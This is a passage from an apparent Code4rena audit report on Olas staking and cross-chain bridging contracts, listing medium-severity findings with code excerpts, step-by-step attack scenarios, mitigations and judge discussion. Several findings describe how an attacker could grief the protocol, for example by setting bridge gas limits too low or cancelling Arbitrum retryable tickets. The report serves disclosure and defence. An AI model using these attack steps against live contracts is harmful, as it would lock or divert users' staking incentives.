        revert OwnerOnly(owner, msg.sender);
    }

    // Get the nominee struct and hash
    Nominee memory nominee = Nominee(account, chainId);
    bytes32 nomineeHash = keccak256(abi.encode(nominee));
}

```



```

// Get the nominee id in the nominee set
uint256 id = mapNomineeIds[nomineeHash];
if (id == 0) {
    revert NomineeDoesNotExist(account, chainId);
}

// Set nominee weight to zero
uint256 oldWeight = _getWeight(account, chainId);
uint256 oldSum = _getSum();
uint256 nextTime = (block.timestamp + WEEK) / WEEK * WEEK;
pointsWeight[nomineeHash][nextTime].bias = 0;
timeWeight[nomineeHash] = nextTime;

// Account for the the sum weight change
uint256 newSum = oldSum - oldWeight;
pointsSum[nextTime].bias = newSum;
timeSum = nextTime;

// Add to the removed nominee map and set
mapRemovedNominees[nomineeHash] = setRemovedNominees.length;
setRemovedNominees.push(nominee);

// Remove nominee from the map
mapNomineeIds[nomineeHash] = 0;

// Shuffle the current last nominee id in the set to be placed to
the removed one
nominee = setNominees[setNominees.length - 1];
bytes32 replacedNomineeHash = keccak256(abi.encode(nominee));
mapNomineeIds[replacedNomineeHash] = id;
setNominees[id] = nominee;
// Pop the last element from the set
setNominees.pop();

// Remove nominee in dispenser, if applicable
address localDispenser = dispenser;
if (localDispenser != address(0)) {
    IDispenser(localDispenser).removeNominee(nomineeHash);
}

emit RemoveNominee(account, chainId, newSum);
}

```

Key thing to note is that if a nominee is removed in i th week then its weight/bias in the upcoming weeks is set to zero; i.e., from $i+1$ weeks it will have no weight.

```
uint256 nextTime = (block.timestamp + WEEK) / WEEK * WEEK;
pointsWeight[nomineeHash][nextTime].bias = 0;
```

Also removeNominee in dispenser is also called, as follows:

```
function removeNominee(bytes32 nomineeHash) external {
    // Check for the contract ownership
    if (msg.sender != voteWeighting) {
        revert ManagerOnly(msg.sender, voteWeighting);
    }

    // Check for the retainer hash
    if (retainerHash == nomineeHash) {
        revert WrongAccount(retainer);
    }

    // Get the epoch counter
    uint256 eCounter = ITokenomics(tokenomics).epochCounter();

    // Get the previous epoch end time
    // Epoch counter is never equal to zero
    uint256 endTime =
    ITokenomics(tokenomics).getEpochEndTime(eCounter - 1);

    // Get the epoch length
    uint256 epochLen = ITokenomics(tokenomics).epochLen();

    // Check that there is more than one week before the end of the
    ongoing epoch
    // Note that epochLen cannot be smaller than one week as per
    specified limits
    uint256 maxAllowedTime = endTime + epochLen - 1 weeks;
    if (block.timestamp >= maxAllowedTime) {
        revert Overflow(block.timestamp, maxAllowedTime);
    }

    // Set the removed nominee epoch number
    mapRemovedNomineeEpochs[nomineeHash] = eCounter;
}
```

Key thing to note here is the following condition:

```
uint256 maxAllowedTime = endTime + epochLen - 1 weeks;
```

```

if (block.timestamp >= maxAllowedTime) {
    revert Overflow(block.timestamp, maxAllowedTime);
}

```

From the above condition, it is clear that it is only allowed to remove a nominee if the time left to epoch end is greater than a week. In simpler terms if the epoch end time is scheduled to be at i th week then the nominee can only be removed in the weeks before the i th week (not including the i th week).

As we have seen from above, if a nominee is removed in i th week then its weight in the weeks starting from the $i+1$ th week will be zero.

Now, when the staking incentives are calculated for the removed nominee for the epoch in which they were removed, it would always return zero as the weight of the nominee will always be zero.

```

ITokenomics.StakingPoint memory stakingPoint =
    ITokenomics(tokenomics).mapEpochStakingPoints(j);

    uint256 endTime = ITokenomics(tokenomics).getEpochEndTime(j);

    // Get the staking weight for each epoch and the total weight
    // Epoch endTime is used to get the weights info, since
otherwise there is a risk of having votes
    // accounted for from the next epoch
    // totalWeightSum is the overall veOLAS power (bias) across
all the voting nominees
    (uint256 stakingWeight, uint256 totalWeightSum) =

IVoteWeighting(voteWeighting).nomineeRelativeWeight(stakingTarget,
chainId, endTime);

(@==>    /// here staking weight will be zero for the removed epoch.  )

```

In the current code base as it is intended that the removed nominee is eligible for the epoch in which they were removed and currently they are not receiving it; thus, it is a issue/bug.

Recommended Mitigation Steps

The easiest way would be to not allow staking incentives for the epoch in which they were removed or you can do the following:

- Allow removing a nominee only when there is less than a week time left before the epoch ends for that only change [this if condition](#) to:

```
if (block.timestamp < maxAllowedTime) {  
    revert ;  
}
```

But in this case, two staking incentives can be lost if the epoch didn't end for few more weeks.

Assessed type

Context

[kupermind \(Olas\) confirmed](#)

[OxA5DF \(judge\) decreased severity to Medium and commented:](#)

Regarding severity - I don't see how this can be high, given that only a small part of the staking-incentives are lost (only for the week where the nominee is removed).

Olas mitigated [here](#) and [here](#).

[Varun_05 \(warden\) commented:](#)

Fixed.

[\[M-10\] Attacker can make claimed staking incentives irredeemable on Gnosis Chain](#)

Submitted by [EV_om](#)

<https://github.com/code-423n4/2024-05-olas/blob/3ce502ec8b475885b90668e617f3983cea3ae29f/tokenomics/contracts/staking/GnosisDepositProcessorL1.sol#L77>

<https://github.com/code-423n4/2024-05-olas/blob/3ce502ec8b475885b90668e617f3983cea3ae29f/tokenomics/contracts/staking/GnosisDepositProcessorL1.sol#L90>

Vulnerability details

The [GnosisDepositProcessorL1](#) contract is responsible for bridging OLAS tokens and messages from L1 to the GnosisTargetDispenserL2 contract on Gnosis Chain. When calling `claimStakingIncentives()` or `claimStakingIncentivesBatch()` on the Dispenser contract for a nominee on Gnosis, it calls [_sendMessage\(.\)](#) internally to send the incentive amounts and any necessary funds to L2.

If the `transferAmount` has been reduced to 0 due to sufficient withheld funds on Gnosis, it only sends a message via the Arbitrary Message Bridge (AMB) to process the claimed

incentives.

However, when sending this message, the caller provides a `gasLimitMessage` parameter to specify the gas limit for executing the message on L2. There is no lower bound enforced on this value, although it is required to be ≥ 100 [internally](#) by the AMB. If the caller sets `gasLimitMessage` too low, the message will fail to execute on L2 due to out of gas.

Because the Gnosis AMB provides no native way to replay failed messages, if a message fails due to insufficient gas, the claimed staking incentives will be irredeemable on L2. An attacker could intentionally grief the protocol by repeatedly claiming incentives with an insufficient gas limit, causing them to be lost.

While the protocol could call `processDataMaintenance()` on L2 with the data from the cancelled message to recover, this would require passing a governance proposal. Given that this attack can be carried out any number of times (e.g. as often as possible and with a different target each time), this can considerably impact the functioning of the protocol hence I believe Medium severity is justified.

Impact

An attacker can make legitimately claimed staking incentives irredeemable on L2 by setting an insufficient gas limit when claiming. This would require governance intervention each time to recover the lost incentives.

Proof of Concept

1. Some amount of OLAS is withheld in the `GnosisTargetDispenserL2` contract.
2. The amount is synced to the Dispenser on L1 via [GnosisTargetDispenserL2.syncWithheldtokens\(\)](#).
3. Attacker calls `claimStakingIncentives()` on the Dispenser contract for a nominee on Gnosis Chain that has accumulated less rewards than the withheld amount, providing an insufficient `gasLimitMessage` in the `bridgePayload`.
4. Message is sent via AMB but fails to execute on L2 due to out of gas.
5. Claimed staking incentives are now stuck and irredeemable on L2.

Recommended Mitigation Steps

Do not allow users to directly specify the `gasLimitMessage`. Instead, have the `GnosisDepositProcessorL1` contract calculate the required gas based on the number of targets and `stakingIncentives` being processed. A small buffer can be added to account for any minor differences in gas costs.

Alternatively, implement a way to replay failed messages from the AMB, so that irredeemable incentives can be recovered without requiring governance intervention.

[kupermind \(Olas\) acknowledged](#)

Olas mitigated:

The issue has been fixed due to the code re-writing and making the gas limit much higher by default compared to the warden's concern. Even though there's no specific PR, the issue is fixed in between all the relevant PRs.

[Varun_05 \(warden\) commented:](#)

Fixed.

[\[M-11\] Refunds for unconsumed gas will be lost due to incorrect refund chain ID](#)

Submitted by [EV_om](#), also found by [haxatron](#)

The [WormholeDepositProcessorL1](#) contract allows sending tokens and data via the Wormhole bridge from L1 to L2. It uses the [sendTokenWithPayloadToEvm\(.\)](#) function from the TokenBase contract in the Wormhole Solidity SDK to send the tokens and payload.

The `sendTokenWithPayloadToEvm()` function takes several parameters, including:

- `targetChain` - the Wormhole chain ID of the destination chain.
- `refundChain` - the Wormhole chain ID of the chain where refunds for unconsumed gas should be sent.

In the `WormholeDepositProcessorL1._sendMessage()` function, the `refundChain` parameter is incorrectly set to `l2TargetChainId`, which is the EVM chain ID of the receiving L2 chain:

```
File: WormholeDepositProcessorL1.sol
94:          // The token approval is done inside the function
2 95:
3 96:          sequence =
      sendTokenWithPayloadToEvm(uint16(wormholeTargetChainId),
      l2TargetDispenser, data, 0,
4 97:          gasLimitMessage, olas, transferAmount,
      uint16(l2TargetChainId), refundAccount);
```

However, it should be set to `wormholeTargetChainId`, which is the Wormhole chain ID classification corresponding to the L2 chain ID. Passing the `l2TargetChainId` as `targetChain` and casting it to `uint16` will lead to refunds for unconsumed gas being sent to an altogether different chain (only if they are sufficient to be delivered, as explained in the Wormhole docs [here](#)) or lost.

Impact

Refunds for unconsumed gas paid by users when sending tokens from L1 to L2 via the Wormhole bridge will likely be lost. This results in users overpaying for gas.

Proof of Concept

1. User calls `claimStakingIncentives()` on the Dispenser contract for a nominee on Celo.
2. `WormholeDepositProcessorL1._sendMessage()` is called internally, which calls `TokenBase.sendTokenWithPayloadToEvm()`.
3. The `refundChain` parameter in `sendTokenWithPayloadToEvm()` is set to `l2TargetChainId` instead of `wormholeTargetChainId`.
4. Refunds for unconsumed gas are sent to the wrong chain ID or lost.

Recommended Mitigation Steps

Change the `refundChain` parameter in the `sendTokenWithPayloadToEvm()` call to use `wormholeTargetChainId` instead of `l2TargetChainId`.

[kupermind \(Olas\) confirmed and commented:](#)

This is correct.

[Olas mitigated](#)

[Varun_05 \(warden\) commented:](#)

Fixed.

[M-12] Blocklisted or paused state in staking token can prevent service owner from unstaking

Submitted by [EV_om](#), also found by [ArsenLupin](#)

The `StakingBase` contract allows service owners to stake their service by transferring it to the contract via `stake()`. The service's multisig address is [set](#) in the `ServiceInfo` struct at this point and cannot be modified afterward. When the owner wants to unstake the service via [unstake\(\)](#), the contract attempts to transfer any accumulated rewards to this multisig address:

```
File: StakingBase.sol
862:         // Transfer the service back to the owner
863:         // Note that the reentrancy is not possible due to the
ServiceInfo struct being deleted
864:         IService(serviceRegistry).safeTransferFrom(address(this),
msg.sender, serviceId);
865:
```

```
866:         // Transfer accumulated rewards to the service multisig
867:         if (reward > 0) {
868:             _withdraw(multisig, reward);
869:         }
```

However, the protocol is meant to support reward tokens which may have a blocklist and/or pausable functionality.

If the multisig address gets blocklisted by the reward token at some point after staking or the reward token pauses transfers, the `_withdraw()` call in `unstake()` will fail. As a result, the service owner will not be able to unstake their service and retrieve it.

Impact

If a service's multisig address gets blocklisted by the reward token after the service is staked, the service owner will be permanently unable to unstake the service and retrieve it from the `StakingBase` contract. The service will be stuck.

If the reward token pauses transfers, the owner will not be able to unstake the service until transfers are unpaused.

Additionally, the owner will not be able to claim rewards either, since these are sent to the multisig.

Proof of Concept

1. Owner calls `stake()` to stake their service, passing in `serviceId`.
2. `StakingBase` contract transfers the service NFT from owner and stores the service's multisig address in `ServiceInfo`.
3. Reward token blocklists the multisig address.
4. Owner calls `unstake()` to unstake the service and retrieve the NFT.
5. `unstake()` attempts to transfer accumulated rewards to the now-blocklisted multisig via `_withdraw()`.
6. The reward transfer fails, reverting the whole `unstake()` transaction.
7. Owner is unable to ever unstake the service. Service is stuck in `StakingBase` contract.

Recommended Mitigation Steps

Consider implementing functionality to update the multisig address. This address should ideally be updated via the service registry to ensure it is properly deployed (seeing as it must match a specific bytecode), after which it can be updated in the staking contract by pulling it from the registry.

Alternatively and to also address the pausing scenario, unstaking could be split into two separate steps - first retrieve the service NFT, then withdraw any available rewards. This way,

blocklisting or pausing would not prevent retrieval of the NFT itself.

Assessed type

Token-Transfer

[kupermind \(Olas\) acknowledged and commented:](#)

This is an interesting scenario. In this case forced unstake condition addition to the current unstake would be a better approach, as we are not able to change the multisig address.

[Olas mitigated](#)

[Varun_05 \(warden\) commented:](#)

Fixed.

[M-13] Attacker can cancel claimed staking incentives on Arbitrum

Submitted by [EV_om](#), also found by [ArsenLupin](#)

The [ArbitrumDepositProcessorL1](#) contract is responsible for bridging OLAS tokens and messages from L1 to the [ArbitrumTargetDispenserL2](#) contract on Arbitrum. When calling `claimStakingIncentives()` or `claimStakingIncentivesBatch()` on the Dispenser contract for a nominee on Arbitrum, it creates a retrieable ticket via the `Inbox.createRetryableTicket()` function to send a message to Arbitrum to process the claimed incentives.

However, when creating this retrieable ticket, the `refundAccount` is passed as both the `excessFeeRefundAddress` and `callValueRefundAddress` parameters. As per the Arbitrum [documentation](#) and [code](#), specifying the `callValueRefundAddress` gives that address a critical permission to cancel the retrieable ticket on L2.

This means an attacker can perform the following steps:

1. Call `claimStakingIncentives()` on the Dispenser contract for a nominee on Arbitrum.
2. Provide an insufficient gas limit in the `bridgePayload` to ensure the ticket fails and is not auto-redeemed.
3. As soon as the ticket becomes available to redeem on Arbitrum, call the `ArbRetryableTx's cancel()` precompile method.
4. This will cancel the message and render all the claimed incentives irredeemable.

While the protocol could call `processDataMaintenance()` on L2 with the data from the cancelled message to recover, this would require passing a governance proposal. Given that this attack can be carried out any number of times (e.g. as often as possible and with a different target each time), this can considerably impact the functioning of the protocol hence I believe Medium severity is justified.

Impact

Attacker can grief the protocol by making legitimately claimed staking incentives irredeemable on L2. This would require governance intervention each time to recover the lost incentives.

Proof of Concept

1. Attacker calls `claimStakingIncentives()` on the `Dispenser` contract for all nominees on Arbitrum, providing an insufficient gas limit and passing an EOA under their control as `refundAccount` in the `bridgePayload`.
2. Retryable ticket is created but fails to auto-redeem due to out of gas.
3. Once ticket is available to redeem on L2, attacker calls `ArbRetryableTx.cancel()` precompile method.
4. Message is cancelled and staking incentives are not redeemable on L2.

Recommended Mitigation Steps

Since no call value is ever sent with the ticket, the `callValueRefundAddress` can be left empty when creating the retryable ticket or an admin address passed instead, if the protocol wants to reserve the right to cancel tickets.

Assessed type

Access Control

[kupermind \(Olas\) confirmed and commented:](#)

Very interesting.

[Olas mitigated](#)

[Varun_05 \(warden\) commented:](#)

Fixed.

[M-14] Unauthorized claiming of staking incentives for retainer

Submitted by [EV_om](#)

The [Dispenser](#) contract is responsible for distributing staking incentives to various targets. One of the functionalities provided by the contract is the ability to claim staking incentives for a specific staking target using the [claimStakingIncentives\(.\)](#) function. This function calculates the staking incentives for a given target and distributes them accordingly.

The [retain\(.\)](#) function, on the other hand, is designed to retain staking incentives for the retainer address and return them back to the staking inflation.

However, there is no check to ensure users cannot call the `claimStakingIncentives()` function for the retainer address and send the staking incentives to the retainer instead of returning them to the staking inflation.

This means anyone can divert the retainer rewards, which are meant to be sent back to the staking inflation, to the retainer itself. In that scenario, there is no way to return the funds to the staking incentive.

Impact

Loss of staking incentives that should have been returned to the staking inflation.

Proof of Concept

1. An attacker calls the `claimStakingIncentives()` function with the retainer address as the staking target.
2. The function calculates the staking incentives for the retainer address.
3. Instead of returning the incentives to the staking inflation, the incentives are sent to the retainer address.
4. The attacker successfully redirects the staking incentives to the retainer, bypassing the intended logic of the `retain()` function.

Recommended Mitigation Steps

Restrict the `claimStakingIncentives()` function to prevent the claiming of rewards for the retainer address.

Assessed type

Invalid Validation

[kupermind \(Olas\) confirmed](#)

[Olas mitigated](#)

[Varun_05 \(warden\) commented:](#)

Fixed.

[\[M-15\] Non-normalized amounts sent via Wormhole lead to failure to redeem incentives](#)

Submitted by [EV_om](#), also found by [ZanyBonzy](#) and [haxatron](#)

Wormhole only supports sending tokens in 8 decimal precision. This is addressed in the code via the `getBridgingDecimals()` method, which is overridden in `WormholeDepositProcessorL1` to return 8. This is then passed as parameter to

[calculateStakingIncentives\(\)](#) in the Dispenser contract to normalize the `transferAmount` sent via the bridge to the smaller precision and return the remaining amount to the Tokenomics contract.

However, the withheld amount from the target chain is then subtracted from the `transferAmount`, so it's important that this amount is also normalized in order to avoid precision loss if the resulting amount after subtracting became unnormalized. This is highlighted in the code in the following comment:

```
File: Dispenser.sol
1010:          // Note: in case of normalized staking incentives with
bridging decimals, this is correctly managed
1011:          // as normalized amounts are returned from another side
1012:          uint256 withheldAmount =
mapChainIdWithheldAmounts[chainId];
1013:          if (withheldAmount > 0) {
1014:              // If withheld amount is enough to cover all the
staking incentives, the transfer of OLAS is not needed
1015:              if (withheldAmount >= transferAmount) {
1016:                  withheldAmount -= transferAmount;
1017:                  transferAmount = 0;
1018:              } else {
1019:                  // Otherwise, reduce the transfer of tokens for
the OLAS withheld amount
1020:                  transferAmount -= withheldAmount;
1021:                  withheldAmount = 0;
1022:              }
1023:              mapChainIdWithheldAmounts[chainId] =
withheldAmount;
1024:          }
```

However, this is not actually the case and withheld amounts returned via Wormhole are in fact unnormalized. While the amounts are normalized if synced via the fallback privileged [syncWithheldAmountMaintenance\(\)](#) function, this logic isn't implemented in the [syncWithheldAmount\(\)](#) function, which will be called in the normal flow of operations as follows:

1. Anyone can call [syncWithheldTokens\(\)](#) on `WormholeTargetDispenserL2`.
2. `syncWithheldTokens()` will [encode](#) the unnormalized withheld amount and send it to L1.
3. This triggers [receiveWormholeMessages\(\)](#) on `WormholeDepositProcessorL1`.
4. `receiveWormholeMessages()` will then [pass](#) the same unnormalized amount to `Tokenomics.syncWithheldAmount()`.

Impact

Unnormalized amount will be sent via Wormhole any time a withheld amount is synced from L2. This has several consequences:

- Dust amounts will be accumulated in the `WormholeDepositProcessorL1` contract.
- More severely, some users will be unable to redeem their incentives on L2 due to the difference between the total OLAS balance of the `WormholeTargetDispenserL2` (withheld amount + normalized `transferAmount` after bridging) contract and the total incentives calculated in the L1 dispenser (withheld amount + unnormalized `transferAmount` after subtracting withheld amount).

Proof of Concept

- `WormholeTargetDispenserL2` withholds 0.123456789 OLAS (unnormalized).
- Anyone calls `syncWithheldTokens()` to send the unnormalized amount to L1.
- `WormholeDepositProcessorL1` receives the unnormalized amount and calls `syncWithheldAmount()` on the Dispenser contract.
- Dispenser updates its records with the unnormalized amount of 0.123456789 OLAS.
- A user claims incentives on L1.
- Dispenser calculates the `transferAmount` as 0.2 OLAS.
- Dispenser subtracts the unnormalized withheld amount, resulting in a `transferAmount` of 0.076543211 OLAS.
- `WormholeDepositProcessorL1` sends 0.07654321 OLAS to L2 via Wormhole and keeps 0.000000001 OLAS (Wormhole only transfers the [normalized amount](#) from the caller)
- The user tries to redeem incentives on L2.
- `WormholeTargetDispenserL2` has 0.199999999 OLAS (withheld amount + 0 OLAS from L1).
- The user cannot redeem due to the discrepancy.

Recommended Mitigation Steps

Implement the normalizing logic in `syncWithheldAmount()` as well.

Assessed type

Decimal

[kupermind \(Olas\) disputed and commented:](#)

All the staking amounts are normalized before being sent to L2. Thus, the sum of normalized amounts on L2 is normalized, and the only `withheldAmount` sent back to L1 is normalized by default. This is why that check on L1 is not needed.

[0xA5DF \(judge\) commented:](#)

Marking invalid due to sponsor's comment, as `withheldAmount` would never be un-normalized.

[EV_om \(warden\) commented:](#)

@OxA5DF and @kupermind, you are right that the staking amounts are normalized before being sent to L2, which helps ensure consistency in many cases. However, the emissions limiting mechanism can play a key role in this context affecting the withheld amount.

Specifically, when the `verifyInstanceAndGetEmissionsAmount()` function is [called](#), it returns the lower of:

1. The `emissionsAmount()` returned by the staking contract instance, which is [calculated on initialization](#) based on the `_stakingParams`
2. The amount returned by `StakingVerifier.getEmissionsAmountLimit(instance)`, which returns a fixed limit defined [when the staking limits are changed](#)

The difference between the received amount and this limit can be withheld, as seen in the [DefaultTargetDispenserL2 contract](#).

These emission amounts are calculated based on parameters with second-level granularity, making it very unlikely that normalized values for these amounts were intended, or could be achieved in the first place. As a result, the withheld amount derived from this process would also be unnormalized.

[kupermind \(Olas\) acknowledged and commented:](#)

Ok, this seems correct. We need to normalize the withheld amount on the L2 side before sending, such that all the unnormalized amount is left on L2.

This amount limiting part of code was literally added in a rush during the last day before the audit, that's why there was a firm feeling things are in order.

Note: For full discussion, see [here](#).

[Olas mitigated](#)

[Varun_05 \(warden\) commented:](#)

`syncWithheldAmount` function is modified correctly which passes normalized amount to dispenser. One additional modification made in `syncWithheldAmountMaintenance` in dispenser (i.e., amount is not normalized).

As it mentions, that exact data which failed to get delivered will be passed and as admin calls this function, we expect the normalized amount will be passed.

```
/// @dev Syncs the withheld amount manually by the DAO in order to
restore the data that was not delivered from L2.
    /// @notice The parameters here must correspond to the exact data
failed to be delivered (amount, batch).
```

```

    ///         The possible bridge failure scenario that requires to act
via the DAO vote includes:
    ///         - Message from L2 to L1 fails: need to call this
function.
    /// @param chainId L2 chain Id.
    /// @param amount Withheld amount that was not delivered from L2.
    /// @param batchHash Unique batch hash for each message transfer.
    function syncWithheldAmountMaintenance(uint256 chainId, uint256
amount, bytes32 batchHash) external {
        // Check the contract ownership
        if (msg.sender != owner) {
            revert OwnerOnly(msg.sender, owner);
        }

        // Check zero value chain Id and amount
        if (chainId == 0 || amount == 0 || batchHash == 0) {
            revert ZeroValue();
        }

        // The sync must never happen for the L1 chain Id itself, as
dispenser exists strictly on L1-s
        if (chainId == block.chainid) {
            revert WrongChainId(chainId);
        }

        // Note: all the amounts coming from events of undelivered
messages are already normalized
        uint256 withheldAmount = mapChainIdWithheldAmounts[chainId] +
amount;
        // The overall amount is bound by the OLAS projected maximum
amount for years to come
        if (withheldAmount > type(uint96).max) {
            revert Overflow(withheldAmount, type(uint96).max);
        }

        // Add to the withheld amount
        mapChainIdWithheldAmounts[chainId] = withheldAmount;

        // Get deposit processor address corresponding to the specified
chain Id
        address depositProcessor = mapChainIdDepositProcessors[chainId];

        // Update the batch hash on deposit processor side
        IDepositProcessor(depositProcessor).updateHashMaintenance(batchHash);

```

```
        emit WithheldAmountSynced(chainId, amount, withheldAmount,
        batchHash);
    }
```

[M-16] Staked service will be irrecoverable by owner if not an ERC721 receiver

Submitted by [EV_om](#)

The StakingBase contract allows users to stake services represented by ERC721 tokens. These services are freely transferable, meaning they could be staked by contracts that do not implement the ERC721TokenReceiver interface.

When a user calls `unstake()` to withdraw their staked service, the contract attempts to transfer the ERC721 token back to the `msg.sender` (which must match the original depositor) using `safeTransferFrom()`:

```
File: StakingBase.sol
862:          // Transfer the service back to the owner
863:          // Note that the reentrancy is not possible due to the
ServiceInfo struct being deleted
864:          IService(serviceRegistry).safeTransferFrom(address(this),
msg.sender, serviceId);
```

However, if the owner is a contract that does not support receiving ERC721 tokens, this transfer will fail. As a result, the service associated with `serviceId` will be permanently locked in the StakingBase contract, and the original owner will be unable to recover it.

Impact

Staked services will become permanently irrecoverable if the owner cannot receive ERC721 tokens.

Proof of Concept

1. User stakes a service by calling `stake(serviceId)` on the StakingBase contract from a smart contract that is not an ERC721TokenReceiver, and cannot be upgraded to support this (e.g. a Safe with restricted privileges). The service is transferred from the user to the contract.
2. When the user later tries to unstake and recover their service by calling `unstake(serviceId)`, the `safeTransferFrom()` call in the function reverts.

3. The service remains locked in the `StakingBase` contract indefinitely, and the user is unable to recover it.

Recommended Mitigation Steps

Consider using `transferFrom()` instead of `safeTransferFrom()` when transferring the service back to the owner in `un stake()`. This will allow the transfer to succeed even if the recipient is not an ERC721 receiver.

Assessed type

ERC721

[kupermind \(Olas\) disputed and commented:](#)

`msg.sender` is the owner that stakes the service, and it's exactly the same owner that is able to un stake it. What is the scenario that `msg.sender` was able to be the owner of the service before staking it, but is no longer able to receive ERC721 token when unstaking?

Our protocol assumes a valid ERC721 standard used in all the possible service registry contracts. If someone decides to use a custom broken ERC721 contract that is able to mint tokens to the contract, but cannot receive one by the transfer, this is out of scope of our protocol.

[kupermind \(Olas\) acknowledged and commented:](#)

After several communication rounds we can accept the issue; however, the declared severity completely does not match the issue. There is zero risk factor for the protocol, only the user stupidity that have not checked the staking contract requirements.

None of well-known contract wallets reject the contract ERC721 support. This must be an artificially created scenario when the user deliberately uses the contract without such a support. If one is talking about outdated Safe, for example, there is a way to upgrade the Safe version, and then provide the correct `fallbackHandler` contract address to deal with ERC721 contracts.

[0xA5DF \(judge\) decreased severity to Medium and commented:](#)

I agree that this is less likely to happen and *somewhat* on the user to ensure that their contract can receive ERC721. However, I think that the likelihood is sufficient to consider this as medium, given the high impact.

[Olas mitigated](#)

[Varun_05 \(warden\) commented:](#)

Fixed.

[M-17] Users will lose all ETH sent as `cost` parameter in transactions to and from Optimism

Submitted by [EV_om](#), also found by [haxatron](#)

<https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/staking/OptimismDepositProcessorL1.sol#L140>
<https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/staking/OptimismDepositProcessorL1.sol#L121>

Vulnerability details

The OptimismDepositProcessorL1 contract is designed to send tokens and data from L1 to L2 using the Optimism bridge. It interacts with the L1CrossDomainMessenger to deposit ERC20 tokens and send messages.

The `_sendMessage()` function extracts the `cost` and `gasLimitMessage` variables from the `bridgePayload` function parameter, which is user-provided and passed on from the Dispenser contract.

The `cost` variable is meant to represent the costs the user must pay to the bridge for sending and delivering the message and is verified to be within $0 < cost \leq msg.value$ before being passed on as value to `L1CrossDomainMessenger.sendMessage()`. However, this is not how Optimism charges for fees, and the ETH sent with this transaction is unnecessary and will lead to loss for the caller.

According to the [Optimism documentation](#), the cost of message delivery is covered by burning gas on L1, not by transferring ETH to the bridging functions. As [can be seen](#) in the `sendMessage()` implementation, this value is encoded as parameter to `relayMessage()` on the receiving side:

```
File: CrossDomainMessenger.sol
176:     function sendMessage(address _target, bytes calldata _message,
uint32 _minGasLimit) external payable {
177:         if (isCustomGasToken()) {
178:             require(msg.value == 0, "CrossDomainMessenger: cannot
send value with custom gas token");
179:         }
180:
181:         // Triggers a message to the other messenger. Note that the
amount of gas provided to the
182:         // message is the amount of gas requested by the user PLUS
the base gas value. We want to
183:         // guarantee the property that the call to the target
contract will always have at least
```

```

184:         // the minimum gas limit specified by the user.
185:         _sendMessage({
186:             _to: address(otherMessenger),
187:             _gasLimit: baseGas(_message, _minGasLimit),
188:             _value: msg.value,
189:             _data: abi.encodeWithSelector(
190:                 this.relayMessage.selector, messageNonce(),
191:                 msg.sender, _target, msg.value, _minGasLimit, _message
192:             ));

```

And it is then [passed in full](#) as `msg.value` along with the message:

```

File: CrossDomainMessenger.sol
211:     function relayMessage(
212:         uint256 _nonce,
213:         address _sender,
214:         address _target,
215:         uint256 _value,
216:         uint256 _minGasLimit,
217:         bytes calldata _message
218:     )
219:     external
220:     payable
221:     {
        ...

287:         bool success = SafeCall.call(_target, gasleft() -
        RELAY_RESERVED_GAS, _value, _message);

```

Therefore, passing cost as `msg.value` results in the entire amount being sent to the `receiveMessage()` function on L2, where it remains unused in the `OptimismTargetDispenserL2` contract. This behavior forces users to pay ETH that serves no purpose.

The `OptimismTargetDispenserL2` implements the same behaviour in `_sendMessage()`. However, this function is only reachable from `syncWithheldTokens()`, which will likely not usually be called by users.

Impact

- Users are forced to pay ETH (which would likely be calculated as some multiple of `gasLimitMessage`) that is not utilized for its intended purpose, resulting in a direct loss.

- The `OptimismTargetDispenserL2` contract accumulates unnecessary ETH.

Proof of Concept

1. A user initiates a token transfer from L1 to Optimism through the Dispenser contract, which calls the `OptimismDepositProcessorL1` contract.
2. The `_sendMessage()` function is called with a cost parameter.
3. The cost is passed as `msg.value` to the `sendMessage()` function of Optimism's `L1CrossDomainMessenger` contract.
4. The `sendMessage()` function sends the `msg.value` to the `receiveMessage()` function on L2.
5. The ETH remains in the `OptimismTargetDispenserL2` contract, unused, resulting in a loss for the user.

Recommended Mitigation Steps

Modify the `_sendMessage()` function to only decode a `gasLimitMessage` variable from the `bridgePayload` parameter, and do not pass any ETH to `L1CrossDomainMessenger.sendMessage()`. The user should be responsible for submitting the transaction with a high enough gas limit to send the message.

Assessed type

ETH-Transfer

[kupermind \(Olas\) acknowledged and commented:](#)

Disagree with severity. If anything is lost, it's really a minimal gas cost. There is no risk for the protocol. This must be changed to medium.

[0xA5DF \(judge\) decreased severity to Medium and commented:](#)

I agree severity is medium, this is just paying double fees.

[Olas mitigated](#)

[Varun_05 \(warden\) commented:](#)

Fixed.

[\[M-18\] Incorrect handling of last nominee removal in `removeNominee` function](#)

Submitted by [Limbooo](#), also found by [LinKenji](#), [cOpp3rscr3w3r](#), [AvantGard](#), and [Sparrow](#)

A vulnerability was discovered in the `removeNominee` function of the `VoteWeighting.sol` contract. The issue arises when removing the last nominee from the list, resulting in an

incorrect update of the `mapNomineeIds` mapping. This can lead to inconsistencies in nominee management, potentially causing data corruption and unexpected behavior in the contract.

Impact

The vulnerability impacts the integrity of the `mapNomineeIds` mapping. When the last nominee in the `setNominees` array is removed, its ID is incorrectly reassigned, leaving a stale entry in `mapNomineeIds`. This can lead to:

- Inability to clear the ID of the removed nominee.
- Potential data corruption if new nominees are added and removed subsequently.
- Unexpected behavior when querying or managing nominees.

Proof of Concept

In the `removeNominee` function, the following code is responsible for updating the `mapNomineeIds` mapping and handling the removal of the nominee:

```
contracts/VoteWeighting.sol:
618:         // Remove nominee from the map
619:         mapNomineeIds[nomineeHash] = 0;
620:
621:         // Shuffle the current last nominee id in the set to be
placed to the removed one
622:         nominee = setNominees[setNominees.length - 1];
623:         bytes32 replacedNomineeHash =
keccak256(abi.encode(nominee));
624:         mapNomineeIds[replacedNomineeHash] = id;
625:         setNominees[id] = nominee;
626:         // Pop the last element from the set
627:         setNominees.pop();
```

The above code aims to remove a nominee by zeroing out its ID in the `mapNomineeIds` mapping and then reassigning the ID of the last nominee in the `setNominees` array to fill the gap left by the removed nominee. However, this logic fails to handle the case where the nominee being removed is the last one in the `setNominees` array. In such cases:

1. Line 619 correctly sets the nominee's ID to 0 in `mapNomineeIds`.
2. Lines 621-623 fetch the last nominee in the `setNominees` array.
3. Lines 624-625 incorrectly reassign the ID of the last nominee, which is the nominee being removed, back to the `mapNomineeIds` mapping.

This results in a stale ID entry in `mapNomineeIds`, leaving the system in an inconsistent state. The following code snippet checks for nominee existence, which demonstrates the impact of the stale ID:

```
contracts/VoteWeighting.sol:
    805:         // Check for nominee existence
    806:         if (mapNomineeIds[nomineeHash] == 0) {
    807:             revert NomineeDoesNotExist(accounts[i],
chainIds[i]);
    808:         }
```

